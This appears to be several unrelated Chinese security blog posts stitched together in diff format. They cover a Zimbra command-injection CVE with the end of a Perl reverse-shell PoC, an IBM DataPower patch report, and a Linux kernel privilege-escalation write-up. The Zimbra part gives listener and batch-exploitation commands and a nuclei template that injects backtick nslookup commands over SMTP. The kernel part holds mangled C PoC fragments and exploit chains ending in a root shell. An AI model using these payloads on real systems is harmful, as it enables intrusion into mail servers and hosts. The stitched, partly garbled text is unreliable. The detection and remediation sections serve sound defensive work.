||||
}
|
||||
|
||||
sub log_write {
|
||||
my ($msg) = @_;
|
||||
return unless $log_fh;
|
||||
flock($log_fh, LOCK_EX);
|
||||
printf $log_fh "[%s] %s\n", strftime("%Y-%m-%d %H:%M:%S", localtime), $msg;
|
||||
flock($log_fh, LOCK_UN);
|
||||
}
|
||||
|
||||
sub open_log {
|
||||
open($log_fh, '>>', $O{logfile}) or die "[-] Cannot open log '$O{logfile}': $!\n";
|
||||
$log_fh->autoflush(1);
|
||||
}
|
||||
|
||||
sub close_log {
|
||||
close($log_fh) if $log_fh;
|
||||
$log_fh = undef;
|
||||
}
|
||||
|
||||
# ── help ──────────────────────────────────────────────────────────────────────
|
||||
sub usage {
|
||||
print <<'END';
|
||||
|
||||
Usage:
|
||||
perl CVE-2026-73570.pl -H <host> -r <IP> [-R <port>] [options]
|
||||
perl CVE-2026-73570.pl -f <list.txt> -r <IP> [-R <port>] [options]
|
||||
|
||||
Options:
|
||||
-H, --host <host> Single target (hostname or IP)
|
||||
-f, --file <file> File with target list (one per line)
|
||||
-p, --port <port> Default SMTP port [default: 587]
|
||||
-r, --rhost <IP> Your IP to receive the reverse shell (required)
|
||||
-R, --rport <port> Listener port [default: 4444]
|
||||
-t, --timeout <sec> Socket timeout [default: 15]
|
||||
-S, --ssl Direct TLS (auto for port 465)
|
||||
-v, --verbose Show full SMTP dialog
|
||||
-L, --logfile <file> Save session to log file
|
||||
-h, --help This help
|
||||
|
||||
targets.txt format:
|
||||
mail.example.com <- default port (--port)
|
||||
mail.example.com:25 <- explicit port
|
||||
10.0.0.50:587
|
||||
# comments are ignored
|
||||
|
||||
Examples:
|
||||
perl CVE-2026-73570.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
|
||||
perl CVE-2026-73570.pl -f targets.txt -r 10.10.10.1 -R 4444 -L scan.log
|
||||
nc -lvnp 4444
|
||||
|
||||
END
|
||||
exit 0;
|
||||
}
|
||||
```
|
||||
|
||||
该 PoC 支持 25/465/587 端口、STARTTLS/直接 TLS、单目标与批量列表，自动完成 base64 编码与载荷包装：
|
||||
```
|
||||
git clone https://github.com/0xBlackash/CVE-2026-73570cd CVE-2026-73570# 先开启监听（等待反弹 shell）nc -lvnp 4444# 单目标利用perl CVE-2026-73570.pl -H mail.target.com -r <你的IP> -R 4444# 批量利用（targets.txt 每行一个，支持 host 或 host:port 格式）perl CVE-2026-73570.pl -f targets.txt -r <你的IP> -R 4444 -L scan.log
|
||||
```
|
||||
|
||||
|
||||
|
||||
载荷送达后，需要**等待 swatchdog 的下一个轮询周期**
|
||||
触发执行——反弹 shell 不会立即出现，通常有数十秒以内的延迟。
|
||||
### 4.3 nuclei 模板批量检测
|
||||
|
||||
**模板地址**
|
||||
：https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2026/CVE-2026-73570.yaml
|
||||
```
|
||||
id: CVE-2026-73570
|
||||
|
||||
info:
|
||||
name: Zimbra Collaboration Suite < 10.1.20 - OS Command Injection
|
||||
author: 0x_Akoko,ritikchaddha
|
||||
severity: high
|
||||
description: |
|
||||
Zimbra Collaboration Suite (ZCS) before version 10.1.20 is vulnerable to OS command injection in the SNMP notification processing due to improper input sanitization. According to the NVD, when SNMP notifications are enabled and the zimbra-snmp package is installed, an unauthenticated attacker can inject arbitrary commands using crafted SMTP requests that result in malicious log entries. The swatchdog service monitors the log, and upon matching a pattern, passes the log content to zmsnmptrapd, which unsafely uses the Perl backtick operator to execute commands. This can ultimately allow remote attackers to execute arbitrary operating system commands as the zimbra user. Active exploitation of this vulnerability has been observed in the wild, as confirmed by CERT Polska and CISA.
|
||||
impact: |
|
||||
Unauthenticated remote code execution as the zimbra user. Successful exploitation allows webshell placement in /opt/zimbra/jetty/webapps/ or /opt/zimbra/jetty_base/webapps/, email credential theft, access to every mailbox on the server, and lateral movement to internal network resources.
|
||||
remediation: |
|
||||
Upgrade Zimbra Collaboration Suite to version 10.1.20 or later. The only complete fix is the 10.1.20 release (July 20, 2026). As a temporary mitigation, disable SNMP notifications (unset zimbraSnmpNotifyTrap) or uninstall the zimbra-snmp package and stop the swatchdog service.
|
||||
reference:
|
||||
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
|
||||
- https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
|
||||
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
|
||||
- https://github.com/HORKimhab/CVE-2026-73570
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2026-73570
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
|
||||
cvss-score: 8.9
|
||||
cve-id: CVE-2026-73570
|
||||
epss-score: 0.71663
|
||||
epss-percentile: 0.99409
|
||||
cwe-id: CWE-78
|
||||
metadata:
|
||||
verified: false
|
||||
max-request: 2
|
||||
vendor: synacor
|
||||
product: zimbra_collaboration_suite
|
||||
shodan-query:
|
||||
- http.title:"Zimbra Web Client Sign In"
|
||||
- http.title:"Zimbra Collaboration Suite"
|
||||
- http.html:"Zimbra Collaboration Suite Web Client"
|
||||
fofa-query:
|
||||
- title="zimbra web client sign in"
|
||||
- title="zimbra collaboration suite"
|
||||
- app="Zimbra-Collaboration-Suite"
|
||||
tags: cve,cve2026,zimbra,rce,oast,kev,smtp,snmp,network,vkev
|
||||
|
||||
flow: http(1) && tcp(1)
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code == 200'
|
||||
- 'contains(body, "Zimbra Collaboration Suite Web Client")'
|
||||
- 'compare_versions(version, "< 10.1.20")'
|
||||
condition: and
|
||||
internal: true
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- 'CLIENT_VERSION[^"]*defaultValue[^"]*"(\d+\.\d+\.\d+)'
|
||||
- '"(\d+\.\d+\.\d+)_GA'
|
||||
internal: true
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Host}}:25"
|
||||
|
||||
inputs:
|
||||
- data: ""
|
||||
read: 512
|
||||
- data: "EHLO `nslookup {{interactsh-url}}`\r\n"
|
||||
read: 512
|
||||
- data: "MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\r\n"
|
||||
read: 512
|
||||
- data: "RCPT TO:<postmaster@localhost>\r\n"
|
||||
read: 512
|
||||
- data: "QUIT\r\n"
|
||||
read: 64
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol
|
||||
words:
|
||||
- "dns"
|
||||
# digest: 4a0a00473045022100845e94345d34deb106868bd7cc1daea83fb0acf62fe168335a8a802b196d3e4002204c054be3d0344c4855a2a3061dd3a6ac280524132fd9643735fcbe345f906d27:922c64590222798bb761d5b6d8e72950
|
||||
```
|
||||
```
|
||||
# 对目标列表批量检测nuclei -l urls.txt -t network/cves/2026/CVE-2026-73570.yaml
|
||||
```
|
||||
|
||||
**模板检测逻辑解析**
|
||||
（flow: http(1) && tcp(1)
|
||||
两阶段）：
|
||||
|
||||
**第一阶段（HTTP 版本确认）**
|
||||
：请求 /js/zimbraMail/share/model/ZmSettings.js
|
||||
，正则提取 CLIENT_VERSION
|
||||
判断目标是否为 **< 10.1.20**
|
||||
的 Zimbra，非 Zimbra 或已修复版本直接跳过，避免对无关目标发包：
|
||||
```
|
||||
http: - raw: - | GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1 Host: {{Hostname}}matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "Zimbra Collaboration Suite Web Client")' - 'compare_versions(version, "< 10.1.20")'
|
||||
```
|
||||
|
||||
**第二阶段（SMTP 注入 + DNS 外带验证）**
|
||||
：对 25 端口发送含反引号载荷的 SMTP 会话，通过 interactsh 检测 DNS 外带——若恶意域名被解析，说明 nslookup
|
||||
命令真实执行：
|
||||
```
|
||||
tcp: - host: - "{{Host}}:25" inputs: - data: "" read: 512 - data: "EHLO `nslookup {{interactsh-url}}`\r\n" read: 512 - data: "MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>\r\n" read: 512 - data: "RCPT TO:<postmaster@localhost>\r\n" read: 512 - data: "QUIT\r\n" read: 64 matchers: - type: word part: interactsh_protocol words: - "dns"
|
||||
```
|
||||
|
||||
**使用模板的四点注意**
|
||||
（基于模板工程性的客观分析）：
|
||||
1. 1
|
||||
模板 metadata.verified: false
|
||||
，且**未检测 zimbra-snmp / SNMP 通知 / swatchdog 三个前置条件**
|
||||
——对不满足配置的目标会发出无效载荷，在对方日志中留下注入痕迹（可能触发 CERT Polska 特征的误报），**仅对已授权资产使用**
|
||||
|
||||
1. 2
|
||||
swatchdog 采用轮询监控，命令执行相对 SMTP 会话存在**异步延迟**
|
||||
，OAST 等待窗口不足时会产生假阴性，建议适当调大超时
|
||||
|
||||
1. 3
|
||||
模板硬编码 25 端口，SMTP 改用 587/465 或经端口映射的部署会被漏检
|
||||
|
||||
1. 4
|
||||
社区另有 HTTP 路线的 PoC（HORKimhab 仓库，打 /service/extension/backup/snmptrap
|
||||
的 snmp_notify
|
||||
参数），但其作者自注多处"可能需要/不确定"，可靠性未经充分验证，本文以 SMTP 投毒链路为准
|
||||
|
||||
## 五、修复方案
|
||||
### 5.1 官方升级（唯一彻底修复）
|
||||
|
||||
升级到 **Zimbra Collaboration Suite 10.1.20**
|
||||
或更高版本。10.1.20（2026 年 7 月 20 日发布）包含该漏洞的完整修复，**临时配置调整不能替代升级**
|
||||
。
|
||||
### 5.2 临时缓解（无法立即升级时）
|
||||
|
||||
如果短期内无法升级，可按优先级采用以下任一措施切断利用链：
|
||||
```
|
||||
① 禁用 SNMP 通知（关闭 zimbraSnmpNotifyTrap 配置项）② 卸载 zimbra-snmp 可选包③ 停止 swatchdog 服务
|
||||
```
|
||||
|
||||
三条措施本质都是斩断 "日志 → swatchdog → zmsnmptrapd" 链路中的某一环。具体操作命令以 Zimbra 官方安全公告为准，执行前评估对现有监控体系的影响。
|
||||
## 六、安全建议
|
||||
### 6.1 紧急处置清单
|
||||
```
|
||||
1. 摸清资产：用 FOFA/Shodan 语法盘点对外暴露的 Zimbra 实例2. 核对版本：逐台确认 ZCS 版本是否 < 10.1.203. 核对配置：确认 zimbra-snmp / SNMP 通知 / swatchdog 状态4. 立即处置：升级到 10.1.20+，短期无法升级则执行临时缓解5. 历史排查：按 7.2 节特征回溯日志，确认是否已被利用6. 持续监控：处置完成后保持日志监控一段时间
|
||||
```
|
||||
### 6.2 入侵排查（可直接执行）
|
||||
|
||||
CERT Polska 公告给出了明确的排查特征——在 zimbra.log
|
||||
中检索**含有 shell 元字符的"服务状态变更"行**
|
||||
：
|
||||
```
|
||||
# 核心特征：Service status change 行中出现命令替换/管道等元字符（正常业务不会出现）grep -E "Service status change:" /var/log/zimbra.log* | grep -E '`|\$\(|\||;|&'# 同时检查 SMTP 会话日志中的异常收件人地址（带引号本地部分是强信号）grep -E 'RCPT TO:<"' /var/log/zimbra.log*
|
||||
```
|
||||
|
||||
命中以下模式即为高度可疑（CERT Polska 原文特征）：
|
||||
```
|
||||
Service status change: <恶意载荷> changed from stopped to runningService status change: <恶意载荷> changed from running to stopped
|
||||
```
|
||||
|
||||
**后渗透痕迹排查**
|
||||
：
|
||||
```
|
||||
# 检查 web 可写目录中的新增/近期修改文件（webshell 落地点）find /opt/zimbra/jetty/webapps /opt/zimbra/jetty_base/webapps \ -name "*.jsp" -o -name "*.jspx" -o -name "*.war" | xargs ls -la# 检查 zimbra 用户的异常进程与外连ps -u zimbra -o pid,lstart,cmdss -tnp | grep -v -E ':(25|80|443|465|587|7071|7025)\b'# 检查近期新增的定时任务与 SSH 公钥（持久化排查）crontab -u zimbra -lls -la /opt/zimbra/.ssh/ 2>/dev/null
|
||||
```
|
||||
|
||||
**参考资料**
|
||||
：
|
||||
- ▸
|
||||
PoC (0xBlackash): https://github.com/0xBlackash/CVE-2026-73570
|
||||
|
||||
- ▸
|
||||
PoC (HORKimhab): https://github.com/HORKimhab/CVE-2026-73570
|
||||
|
||||
- ▸
|
||||
nuclei 模板: https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2026/CVE-2026-73570.yaml
|
||||
|
||||
- 📄往期推荐：
|
||||
|
||||
- [CVE-2026-85706：GitLab 未授权任意本地文件读取漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247491791&idx=1&sn=efd9a621d75549b997d57f2c16f2cb9a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [HAPPY-JS v1.6 更新说明：被动抓资产，主动做测试](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247491784&idx=1&sn=4fac1524c937b692258610936792d4f1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [JeecgBoot 积木报表 autoexport RCE漏洞（XVE-2026-53510）深度分析](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247491759&idx=1&sn=89804ccc3ec874dec709e5ecedfc2868&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [1Panel-dev KubePi SSO 管理接口未授权漏洞 (CVE-2026-65956)](https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247491748&idx=1&sn=ba363da3b818b09eccca36f7c709f31c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
**关于我们:**
|
||||
|
||||
感谢各位大佬们关注-不秃头的安全，后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章，同时会组织不定期抽奖，希望能得到各位的关注与支持，考证请加联系vx咨询。
|
||||
- ## 1. 需要考以下各类安全证书的可以联系
|
||||
|
||||
①Cn*d
|
||||
，NCC，NVDB🀄️高漏洞证书
|
||||
|
||||
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
|
||||
|
||||
③
|
||||
CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA，oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可，证书组团报更便宜，可对公，可开专普票。以下是其他全部证书
|
||||
|
||||
【腾讯文档】【信息安全 数据安全 IT认证证书】～不秃头的安全Vx:Meditation0723
|
||||
|
||||
https://docs.qq.com/doc/DZmtOckpOakJrcFVv?[#]()
|
||||
|
||||
|
||||
想加群下方二维码，群过期或群满加下方vx拉：
|
||||
|
||||
- 
|
||||
## 2. 需要入星球的可以私聊优惠
|
||||
|
||||
```
|
||||
1、src、cnxd、cnnxd、POC专项漏洞知识库，包含原理、挖掘技巧、实战案例2、fafo/零零信安 高级会员key3、全网搜集POC在线文档，详情poc及证明截图（3000+以上文章）4、知识星球专属微信“内部圈子交流群”5、攻防演练资源分享（免杀、溯源、钓鱼等）6、新鲜工具分享7、不定期有工作招聘内推（工作/护网内推）8、19个专栏会持续更新~提前续费有优惠，好用不贵很实惠
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 3、其他合作（合法合规）
|
||||
|
||||
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目（须授权），需要攻防团队或岗位招聘都可代发、代招（灰黑勿扰）；
|
||||
|
||||
2、各位安全老板需要文章推广的请私聊，承接合法合规推广文章发布，可直发、可按产品编辑推广；
|
||||
合作、推广代发、安全项目、岗位代招均可发布；
|
||||
|
||||
3、接受脱敏投稿,送一年知识星球及礼包。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
# IBM 修补 23 个 DataPower Gateway 漏洞，其中包括四个严重的远程代码执行和 XSS 漏洞
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-10-09 01:17
|
||||
|
||||
**内容摘要**
|
||||
|
||||
IBM 通过两份安全公告发布了针对 23 个 IBM DataPower Gateway 漏洞的修复程序。其中四个被评为严重级，包括两个评分为 9.8、无需登录即可利用的远程代码执行漏洞。IBM "强烈建议尽快升级"。
|
||||
|
||||
**为何值得关注**
|
||||
|
||||
DataPower Gateway 是 IBM 面向 API、Web 服务和企业间（B2B）流量的安全与集成设备，通常部署在网络边缘、受保护系统的前端。因此，网关中的漏洞可能会暴露其本应保护的系统。
|
||||
|
||||
这些漏洞大多无需凭据即可通过网络触发。在 23 个漏洞中，IBM 将 4 个评为严重级，17 个为高危级，2 个为中危级。CVE 记录将漏洞利用状态列为未知，且尚未确认存在公开的概念验证代码。
|
||||
|
||||
**攻击原理**
|
||||
|
||||
**远程代码执行**
|
||||
|
||||
CVE-2026-15762
|
||||
和
|
||||
CVE-2026-16340
|
||||
的评分均为 9.8。两者都可能"因越界写入而允许远程攻击者执行任意代码"。第二个漏洞存在于 RFC 2047 编码字解析器中，该解析器负责解码邮件格式标头中的文本。与此同时，
|
||||
CVE-2026-15784
|
||||
（8.1）和
|
||||
CVE-2026-15781
|
||||
（8.0）也是代码执行漏洞，但两者的触发难度更高。
|
||||
|
||||
**令人困惑的第四个严重级漏洞**
|
||||
|
||||
CVE-2026-14991
|
||||
同样是评分为 9.8 的越界写入漏洞。然而，其描述称"本地用户可以使缓冲区溢出并在系统上执行任意代码"，这与其基于网络的 CVSS 向量相矛盾。无论如何，这都是将这些 IBM DataPower Gateway 漏洞视为紧急事项的又一个理由。
|
||||
|
||||
**Web UI 跨站脚本**
|
||||
|
||||
另一份公告
|
||||
涉及评分为 9.3 的
|
||||
CVE-2026-14990
|
||||
。该漏洞允许未经身份验证的用户"在 Web UI 中嵌入任意 JavaScript 代码"。据 IBM 称，这可能导致"在受信任会话中泄露凭据"。该漏洞仅影响 10.6.0 分支。
|
||||
|
||||
**崩溃与数据泄露**
|
||||
|
||||
其余大部分 IBM DataPower Gateway 漏洞会导致拒绝服务，其根源包括缓冲区溢出、空指针解引用、类型混淆和越界读取，其中两个涉及 GraphQL 处理。此外，
|
||||
CVE-2026-16181
|
||||
允许攻击者绕过安全限制，
|
||||
CVE-2026-16177
|
||||
则可能泄露敏感数据。
|
||||
|
||||
**受影响版本**
|
||||
|
||||
IBM 主安全公告
|
||||
列出了以下受影响版本：
|
||||
- 10.5.0.0 至 10.5.0.22，已在 10.5.0.23 中修复
|
||||
|
||||
- 10.6.0.0 至 10.6.0.10，已在 10.6.0.11 中修复
|
||||
|
||||
- 10.6.1 至 10.6.6（10.6CD），已在 11.0.0.3 中修复
|
||||
|
||||
- 11.0.0.0 至 11.0.0.2，已在 11.0.0.3 中修复
|
||||
|
||||
**补丁与缓解措施**
|
||||
|
||||
请升级至您所用分支的修复版本。CVE 记录未列出针对这些漏洞的任何临时解决方案。处于 10.6CD 持续交付通道的用户必须迁移至 11.0.0.3。此外，在补丁到位之前，请将 DataPower Web UI 的访问权限限制在可信管理员范围内。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://www.ibm.com/support/pages/node/7289775
|
||||
|
||||
@@ -0,0 +1,184 @@
|
||||
# Linux内核本地提权四重奏曝光：四个致命漏洞与公开PoC
|
||||
原创 Dr. Clay
|
||||
Dr. Clay 黑白之道 2026-10-09 00:40
|
||||
|
||||
|
||||
> **导语**
|
||||
：2026年9月18日，安全研究员Asim Manizada在个人博客发布了一篇重磅研究文章，公开了四个Linux内核本地提权（LPE）漏洞的完整漏洞分析与工作PoC。这四个漏洞被命名为"本地提权四重奏"（LPE Quartet），分别对应IPv6 AH6、TUN/TAP、PPPoE和SCTP诊断子系统，影响所有未及时更新的Linux系统。从PoC发布那一刻起，**任何本地非特权用户都能在受影响主机上拿到root shell**
|
||||
——这场静默的提权风暴正在蔓延。
|
||||
|
||||
## 一、事件概述
|
||||
### 背景介绍
|
||||
|
||||
Linux内核是全球数百万服务器和云主机的底层基石。2026年9月，研究员Asim Manizada在完成与内核团队和发行版厂商的协调 embargo 后，按约定时间公开了四枚"雷弹"的完整利用代码。这四个漏洞分别是：
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">漏洞代号</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">CVE编号</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">涉及子系统</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">CVSS</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">攻击前提</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">DirtyAH6</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">CVE-2026-80844</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">IPsec / AH6 (IPv6认证头)</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">7.8+</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">需开启IPv6 + AH6/XFRM支持</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">TUNderflow</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">CVE-2026-81000</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">TUN/TAP 虚拟网卡</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">7.8+</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">需unprivileged user namespaces + TUN支持</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">PPPoEject</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">CVE-2026-68121</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">PPPoE (点对点协议 over Ethernet)</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">7.8+</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">需unprivileged user namespaces + PPPoE支持</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">DiagSpill</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">CVE-2026-74469</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">SCTP诊断接口</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">9.8</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><sectiLine truncated
|
||||
CISA于同月将这批漏洞中的部分纳入已知被利用漏洞（KEV）目录，并要求联邦机构在规定时间内完成修复。
|
||||
|
||||
|
||||
## 二、技术分析
|
||||
### 2.1 DirtyAH6（CVE-2026-80844）——IPsec AH6元数据破坏
|
||||
|
||||
**Root Cause**
|
||||
: 漏洞位于Linux内核的IPv6认证头（Authentication Header, AH6）处理路径。当系统处理经过IPsec隧道、带有AH6扩展头的IPv6数据包时，内核在 xfrm_input()
|
||||
回调中对 socket buffer（skb）的元数据进行了不当操作。攻击者构造一个畸形的AH6数据包，可导致skb元数据破坏，随后通过覆写 /etc/pam.d/su
|
||||
文件实现本地提权。
|
||||
|
||||
**利用条件**
|
||||
：
|
||||
- 内核编译时启用 CONFIG_INET6_AH
|
||||
和 CONFIG_XFRM
|
||||
（IPsec）
|
||||
|
||||
- 非特权用户命名空间可用（sysctl kernel.unprivileged_userns_clone=1
|
||||
）
|
||||
|
||||
**验证（PoC结构）**
|
||||
：
|
||||
```
|
||||
// poc.c 核心片段（来源：github.com/manizada/DirtyAH6）inttrigger_ah6_uaf(int fd) { structipv6hdr *ip6h; structauth_hdr *ah; char pkt[256] = {0}; ip6h = (void *)pkt; ah = (void *)(pkt + sizeof(*ip6h)); ip6h->version = 6; ip6h->nexthdr = IPPROTO_AH; ah->nexthdr = IPPROTO_TCP; ah->hdrlen = 0; // 畸形值，触发元数据破坏 send(fd, pkt, sizeof(pkt), 0); return0;}
|
||||
```
|
||||
|
||||
**影响范围**
|
||||
：Fedora 43、Ubuntu（具体版本见各发行版安全公告）、启用了IPsec AH6支持的所有主流Linux发行版内核 < 6.12.109。
|
||||
### 2.2 TUNderflow（CVE-2026-81000）——TUN/TAP接收超限破坏
|
||||
|
||||
**Root Cause**
|
||||
: TUN/TAP是Linux虚拟网卡驱动，允许用户空间程序接收/发送网络数据包。该漏洞源于TUN/TAP驱动的 tun_get_user()
|
||||
函数在处理来自用户空间的超长数据包时，未正确校验 skb
|
||||
（socket buffer）的 truesize
|
||||
。攻击者通过发送一个 oversize 的数据包，使 skb->truesize
|
||||
与实际数据大小产生不匹配，进而在接收路径触发内存覆写，最终控制内核执行流。
|
||||
|
||||
**利用条件**
|
||||
：
|
||||
- CONFIG_TUN
|
||||
编译进内核
|
||||
|
||||
- 非特权用户命名空间已开启（默认多数发行版开启）
|
||||
|
||||
- 存在可访问的TUN/TAP设备路径（如 /dev/net/tun
|
||||
）
|
||||
|
||||
**攻击链**
|
||||
：
|
||||
```
|
||||
open("/dev/net/tun") → create TUN device → write oversized pkt → skb truesize mismatch → heap out-of-bounds write → overwrite cred struct → root
|
||||
```
|
||||
### 2.3 PPPoEject（CVE-2026-68121）——PPPoE处理内存溢出
|
||||
|
||||
**Root Cause**
|
||||
: PPPoE（Point-to-Point Protocol over Ethernet）在内核的 pppoe
|
||||
模块处理阶段存在一个类型混淆漏洞。当PPPoE帧的 tag
|
||||
字段被精心构造时，内核错误地将某个指针解引用为整数进行偏移计算，产生任意内核地址写。攻击者利用这个原语覆写 modprobe_path
|
||||
或 acct
|
||||
指针，下次触发特权程序执行时即获得root shell。
|
||||
|
||||
**利用条件**
|
||||
：
|
||||
- CONFIG_PPPOE
|
||||
或 CONFIG_PPPOATM
|
||||
加载
|
||||
|
||||
- 非特权用户命名空间可用
|
||||
|
||||
### 2.4 DiagSpill（CVE-2026-74469）——SCTP诊断子系统Use-After-Free
|
||||
|
||||
**Root Cause**
|
||||
: 这是四重奏中危险系数最高的漏洞，涉及SCTP（Stream Control Transmission Protocol）的诊断接口。SCTP在内核中维护 assoc
|
||||
（关联）结构，当处理 SIOCSCTPIOCTL
|
||||
等诊断ioctl时，如果一个已释放（stale cookie）的 assoc
|
||||
被再次引用，就会触发 **Use-After-Free（UAF）**
|
||||
。攻击者可利用UAF释放后重分配（free-hook→code-pointer劫持）获得内核态代码执行。
|
||||
|
||||
该漏洞与早些时候披露的 **CVE-2026-52924**
|
||||
（SCTP outqueue purge UAF）有相似之处，但DiagSpill专注于诊断路径，影响面更直接。
|
||||
|
||||
**关键代码路径**
|
||||
：
|
||||
```
|
||||
sctp_diag_ioctl() → sctp_assoc_lookup() → stale cookie check bypassed → use-after-free → kmem_cache_alloc (realloc) → overwrite with ROP chain
|
||||
```
|
||||
## 三、PoC获取方式
|
||||
|
||||
研究员Asim Manizada已在GitHub上公开了所有四个漏洞的完整PoC代码仓库，以下为直接下载链接：
|
||||
